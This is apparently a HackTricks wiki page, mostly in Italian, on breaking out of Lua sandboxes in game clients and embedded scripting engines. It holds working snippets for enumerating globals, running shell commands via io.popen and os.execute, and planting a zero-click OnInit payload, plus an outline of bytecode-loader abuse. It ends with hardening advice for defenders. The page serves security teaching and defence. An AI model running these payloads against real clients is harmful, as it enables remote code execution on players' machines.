# Bypass Lua sandboxes (embedded VMs, game clients) {{#include ../../../banners/hacktricks-training.md}} Questa pagina raccoglie tecniche pratiche per enumerare e uscire da Lua "sandboxes" integrate nelle applicazioni (in particolare game clients, plugins o in-app scripting engines). Molti engine espongono un ambiente Lua ristretto, ma lasciano globals potenti raggiungibili che permettono l'esecuzione arbitraria di comandi o persino la corruzione della memoria nativa quando sono esposti bytecode loaders. Concetti chiave: - Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable. - When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results. - If io/os is exposed, you often have direct command execution (io.popen, os.execute). - If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation. ## Enumerare l'ambiente sandbox - Dump the global environment to inventory reachable tables/functions: ```lua -- Minimal _G dumper for any Lua sandbox with some output primitive `out` local function dump_globals(out) out("=== DUMPING _G ===") for k, v in pairs(_G) do out(tostring(k) .. " = " .. tostring(v)) end end ``` - Se print() non è disponibile, riutilizza i canali in-VM. Esempio tratto da una VM di script per housing di un MMO in cui l'output della chat funziona solo dopo la riproduzione di un suono; il seguente costruisce una funzione di output affidabile: ```lua -- Build an output channel using in-game primitives local function ButlerOut(label) -- Some engines require enabling an audio channel before speaking H.PlaySound(0, "r[1]") -- quirk: required before H.Say() return function(msg) H.Say(label or 1, msg) end end function OnMenu(menuNum) if menuNum ~= 3 then return end local out = ButlerOut(1) dump_globals(out) end ``` Generalizza questo pattern per il tuo target: qualsiasi textbox, toast, logger o UI callback che accetta stringhe può fungere da stdout per reconnaissance. ## Esecuzione diretta di comandi se io/os è esposto Se la sandbox espone ancora le librerie standard io o os, è probabile che tu possa eseguire comandi immediatamente: ```lua -- Windows example io.popen("calc.exe") -- Cross-platform variants depending on exposure os.execute("/usr/bin/id") io.popen("/bin/sh -c 'id'") ``` Note: - L'esecuzione avviene all'interno del processo client; molti layer anti-cheat/antidebug che bloccano debugger esterni non impediranno la creazione di processi dentro la VM. - Controllare anche: package.loadlib (caricamento arbitrario di DLL/.so), require con moduli nativi, LuaJIT's ffi (se presente), and the debug library (can raise privileges inside the VM). ## Trigger Zero-click tramite auto-run callbacks Se l'applicazione host invia script ai client e la VM espone auto-run hooks (es. OnInit/OnLoad/OnEnter), piazza il tuo payload lì per una compromissione drive-by non appena lo script viene caricato: ```lua function OnInit() io.popen("calc.exe") -- or any command end ``` Qualsiasi callback equivalente (OnLoad, OnEnter, etc.) generalizza questa tecnica quando gli script vengono trasmessi ed eseguiti automaticamente sul client. ## Dangerous primitives to hunt during recon Durante l'enumerazione di _G, cerca specificamente: - io, os: io.popen, os.execute, file I/O, env access. - load, loadstring, loadfile, dofile: eseguire sorgente o bytecode; supporta il caricamento di bytecode non attendibile. - package, package.loadlib, require: caricamento dinamico di librerie e interfaccia dei moduli. - debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, e hooks. - LuaJIT-only: ffi.cdef, ffi.load per chiamare codice nativo direttamente. Minimal usage examples (if reachable): ```lua -- Execute source/bytecode local f = load("return 1+1") print(f()) -- 2 -- loadstring is alias of load for strings in 5.1 local bc = string.dump(function() return 0x1337 end) local g = loadstring(bc) -- in 5.1 may run precompiled bytecode print(g()) -- Load native library symbol (if allowed) local mylib = package.loadlib("./libfoo.so", "luaopen_foo") local foo = mylib() ``` ## Escalation opzionale: abuso dei loader di bytecode di Lua Quando `load`/`loadstring`/`loadfile` sono raggiungibili ma `io`/`os` sono limitati, l'esecuzione di bytecode Lua creato ad hoc può portare a primitive di divulgazione della memoria e corruzione. Punti chiave: - Lua ≤ 5.1 includeva un verificatore di bytecode che ha bypass noti. - Lua 5.2 ha rimosso il verificatore completamente (posizione ufficiale: le applicazioni dovrebbero semplicemente rifiutare i precompiled chunks), ampliando la superficie di attacco se il caricamento di bytecode non è proibito. - Tipici workflow: leak pointers via in-VM output, craft bytecode per creare type confusions (es., attorno a FORLOOP o altri opcodes), quindi pivotare verso arbitrary read/write o native code execution. Questo percorso è specifico per engine/version e richiede RE. Vedi i riferimenti per approfondimenti, exploitation primitives e esempi di gadgetry nei giochi. ## Note di rilevamento e hardening (per i difensori) - Lato server: rifiutare o riscrivere gli user script; usare allowlist per le API sicure; rimuovere o bindare a vuoto `io`, `os`, `load`/`loadstring`/`loadfile`/`dofile`, `package.loadlib`, `debug`, `ffi`. - Lato client: eseguire Lua con un `_ENV` minimale, vietare il caricamento di bytecode, reintrodurre un strict bytecode verifier o controlli di firma, e bloccare la creazione di processi dal processo client. - Telemetria: generare allarmi su gameclient → child process creation poco dopo lo script load; correlare con eventi UI/chat/script. ## Riferimenti - [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) - [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) - [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) - [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) {{#include ../../../banners/hacktricks-training.md}}